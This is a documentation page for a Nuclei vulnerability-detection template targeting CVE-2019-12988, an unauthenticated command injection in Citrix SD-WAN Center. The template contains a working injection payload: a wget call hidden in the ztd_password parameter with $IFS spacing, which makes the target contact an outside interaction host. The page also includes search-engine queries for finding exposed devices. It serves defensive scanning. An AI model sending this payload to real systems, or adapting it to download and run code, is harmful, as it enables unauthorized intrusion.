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Citrix SD-WAN Center - Remote Command Injection

ID: CVE-2019-12988

Severity: critical

Author: gy741

Tags: cve,cve2019,rce,unauth,oast,tenable,citrix

Description

Section titled “Description”

Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2019-12988


info:
  name: Citrix SD-WAN Center - Remote Command Injection
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password,  thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire SD-WAN infrastructure.
  remediation: |
    Apply the latest security patches provided by Citrix to mitigate the vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/article/CTX251987
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12988
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12988
    cwe-id: CWE-78
    epss-score: 0.97276
    epss-percentile: 0.99843
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query:
      - http.title:"Citrix SD-WAN"
      - http.title:"citrix sd-wan"
    fofa-query: title="citrix sd-wan"
    google-query: intitle:"citrix sd-wan"
  tags: cve,cve2019,rce,unauth,oast,tenable,citrix


http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |+
        GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}}) HTTP/1.1
        Host: {{Hostname}}
        Accept: */*


    unsafe: true


    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<title>Citrix SD-WAN</title>")'


      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022100cb7b33f365ff5f2ea8145e337c9c9da21d65aa57c589ea18dbadbe57a0c0c7a2022036394ed4526c2f36d460d7b2ace6a877bf179a34bc34c58f20c0c4165ae6b5bd:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-12988.yaml"

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